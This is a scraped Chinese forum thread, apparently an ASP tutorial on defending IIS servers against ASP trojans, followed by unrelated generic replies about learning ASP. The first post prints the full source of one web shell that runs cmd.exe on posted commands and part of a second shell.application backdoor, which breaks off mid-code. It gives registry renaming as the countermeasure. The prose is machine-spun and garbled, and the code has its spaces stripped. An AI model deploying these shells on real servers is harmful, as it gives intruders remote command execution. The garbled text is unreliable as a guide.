仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 545|回复: 8
打印 上一主题 下一主题

[学习教程] ASP教程之Web服务器上提防基于ASP程序的木马

[复制链接]
只想知道 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:44:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
asp对于服务器的要求较高,一般的服务器如果访问量一大就垮了,不得不重启。web|web服务|web服务器|程序|木马  跟着ASP手艺的开展,收集上基于ASP手艺开辟的网站愈来愈多,对ASP手艺的撑持能够说已是windows体系IIS服务器的一项基础功效。可是基于ASP手艺的木马后门,也愈来愈多,并且功效也愈来愈壮大。因为ASP它自己是服务器供应的一贡服务功效,以是这类ASP剧本的木马后门,不会被杀毒软件查杀。被黑客们称为“永久不会被查杀的后门”。因为其高度的潜伏性和难查杀性,对网站的平安形成了严峻的威逼。因而针对ASP木马的提防和扫除,为我们的网管职员提出了更高的手艺请求。上面我分离团体的履历,谈一下对两款对照典范的ASP木马的提防办法,但愿对人人可以有所匡助。

  以下是第一款木马的代码:

<title>ASPShell</title>
<%@Language=VBScript%>
<%
 DimoScript
 DimoScriptNet
 DimoFileSys,oFile
 DimszCMD,szTempFile
 OnErrorResumeNext
 --createtheCOMobjectsthatwewillbeusing--
 SetoScript=Server.CreateObject("WSCRIPT.SHELL")
 SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
 SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")
 --checkforacommandthatwehaveposted--
 szCMD=Request.Form(".CMD")
 If(szCMD<>"")Then
  --Useapoormanspipe...atempfile--
  szTempFile="C:"&oFileSys.GetTempName()
  CalloScript.Run("cmd.exe/c"&szCMD&">"&szTempFile,0,True)
  SetoFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
 EndIf
%>
<HTML>
<BODY>
<FORMaction="<%=Request.ServerVariables("URL")%>"method="POST">
<inputtype=textname=".CMD"size=45value="<%=szCMD%>">
<inputtype=submitvalue="实行命令">
</FORM>
<PRE><%
 If(IsObject(oFile))Then
  --Readtheoutputfromourcommandandremovethetempfile--
  OnErrorResumeNext
  Response.WriteServer.HTMLEncode(oFile.ReadAll)
  oFile.Close
  CalloFileSys.DeleteFile(szTempFile,True)
 EndIf
%>
</BODY>
</HTML>
  然后在命令行里输出DIR命令点实行就能够检察目次了!!它可使用各类DOS命令,如:copy、net、netstat等。

  可是它的默许实行权限只要GUEST,也就是IUSR_COMPUTER用户的实行权限。固然假如你把IUSR_COMPUTER用户到场办理员组,那末你就有办理员权限了。这一款木马的特性是,利用很便利。几近就想当于DOS命令行窗口xx作一样。可是假如服务器限定了FSO(无组件上传),那末它是没有举措利用了。另有就是在服务器今后增添的假造主机里也没有举措利用。只能在“默许Web站点”里利用,以是它绝对的合用局限较窄。

  关于提防办法让我们看一下它的代码就晓得了:

SetoScript=Server.CreateObject("WSCRIPT.SHELL")
创建了一个名为oScript的WSCRIPT.SHELL工具,用于命令的实行"
SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
SetoFileSys=Server.CreateObject("Scripting.FileSystemObject") 
  下面三行代码创立了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个工具,我们只需在注册表中把把持WSCRIPT.SHELL工具的项更名或删除就能够了。以下图:值得注重的是:我们应当把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要更名或删除。由于如我们只修正“WSCRIPT.SHELL”项的话。那末黑客们只需把代码修正以下:

SetoScript=Server.CreateObject("WSCRIPT.SHELL.1")
  这个后门木马就又能够实行了。

  人人大概已想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”更名时,必定要不简单被黑客们猜到,由于比方:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只需把代码响应的改成:

SetoScript=Server.CreateObject("WSCRIPT.SHELL888")
  木马程序就又能够实行了。另有就修正了注册表今后要重起WEB服务,设置才会无效。

  接上去让我们再来看下一款ASP后门木马程序的代码:

<%response.write"<fontsize=6color=red>一次只能实行一个xx作</font>"%>
<%response.writenow()%><BR>程序地点的物理路径:
<%response.writerequest.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>aspsshell.applicationbackdoor</title>
<body>
<formaction="<%=Request.ServerVariables("URL")%>"method="POST">
<inputtype=textname=textvalue="<%=szCMD%>">输出要扫瞄的目次<br>
<inputtype=textname=text1value="<%=szCMD1%>">
copy
<inputtype=textname=text2value="<%=szCMD2%>"><br>
<inputtype=textname=text3value="<%=szCMD3%>">
move
<inputtype=textname=text4value="<%=szCMD4%>"><br>
路径:<inputtype=textname=text5value="<%=szCMD5%>">
程序:<inputtype=textname=text6value="<%=szCMD6%>"><br>
<inputtype=submitname=sbvalue=发送死令>
</form>
</body>
</html>
<%
szCMD=Request.Form("text")目次扫瞄
if(szCMD<>"")then
 setshell=server.createobject("shell.application")创建shell工具
 setfod1=shell.namespace(szcmd)
 setfoditems=fod1.items
 foreachcoinfoditems
  response.write"<fontcolor=red>"&co.path&"-----"&co.size&"</font><br>"
 next
endif
%><%
szCMD1=Request.Form("text1")目次拷贝,不克不及举行文件拷贝
szCMD2=Request.Form("text2")
ifszcmd1<>""andszcmd2<>""then
 setshell1=server.createobject("shell.application")创建shell工具
 setfod1=shell1.namespace(szcmd2)
 fori=len(szcmd1)to1step-1
  ifmid(szcmd1,i,1)=""then
   path=left(szcmd1,i-1)
   exitfor
  endif
 next
 iflen(path)=2thenpath=path&""
  path2=right(szcmd1,len(szcmd1)-i)
  setfod2=shell1.namespace(path)
  setfoditem=fod2.parsename(path2)
  fod1.copyherefoditem
  response.write"commandcompletedsuccess!"
 endif
%><%
szCMD3=Request.Form("text3")目次挪动
szCMD4=Request.Form("text4")
ifszcmd3<>""andszcmd4<>""then
 setshell2=server.createobject("shell.application")创建shell工具
 setfod1=shell2.namespace(szcmd4)fori=len(szcmd3)to1step-1
 ifmid(szcmd3,i,1)=""then
  path=left(szcmd3,i-1)
  exitfor
 endif
 next
 iflen(</p>国内有些大的CRM厂商的ASP就写得不错.无论是概念还是它里面用JAVASCRIPT的能力.并不是说现在的程序员用了ASP.NET来写程序就可以说自己高档了
活着的死人 该用户已被删除
沙发
发表于 2015-1-19 21:55:05 | 只看该作者
他的语法和设计思路和VB完全相同,导致很多ASP的书都留一句“相关内容请参考VB的相关教材....”更糟糕的是,相当多的ASP教程混合了Javascript,VBscript等等脚本语言,搞的初学者。
小魔女 该用户已被删除
板凳
发表于 2015-1-28 12:55:33 | 只看该作者
在平时的学习过程中要注意现学现用,注重运用,在掌握了一定的基础知识后,我们可以尝试做一些网页,也许在开始的时候我们可能会遇到很多问题,比如说如何很好的构建基本框架。
小妖女 该用户已被删除
地板
发表于 2015-2-5 21:34:04 | 只看该作者
跟学别的语言一样,先掌握变量,流程控制语句(就是ifwhileselect)等,函数/过程,数组
海妖 该用户已被删除
5#
发表于 2015-2-13 17:00:54 | 只看该作者
我认为比较好的方法是找一些比较经典的例子,每个例子比较集中一种编程思想而设计的。
愤怒的大鸟 该用户已被删除
6#
发表于 2015-3-4 00:28:56 | 只看该作者
交流是必要的,不管是生活还是学习我们都要试着去交流,通过交流我们可以学到很多我们自己本身所没有的知识,可以分享别人的经验甚至经历。
老尸 该用户已被删除
7#
发表于 2015-3-11 14:56:57 | 只看该作者
接下来就不能纸上谈兵了,最好的方法其实是实践。实践,只能算是让你掌握语言特性用的。而提倡做实际的Project也不是太好,因为你还没有熟练的能力去综合各种技术,这样只能使你自己越来越迷糊。
透明 该用户已被删除
8#
发表于 2015-3-19 00:31:55 | 只看该作者
封装性使得代码逻辑清晰,易于管理,并且应用到ASP.Net上就可以使业务逻辑和Html页面分离,这样无论页面原型如何改变,业务逻辑代码都不必做任何改动;继承性和多态性使得代码的可重用性大大提高。
灵魂腐蚀 该用户已被删除
9#
发表于 2015-3-26 23:14:37 | 只看该作者
Response:从字面上讲是“响应”,因此这个是服务端向客户端发送东西的,例如Response.Write
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 22:30

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表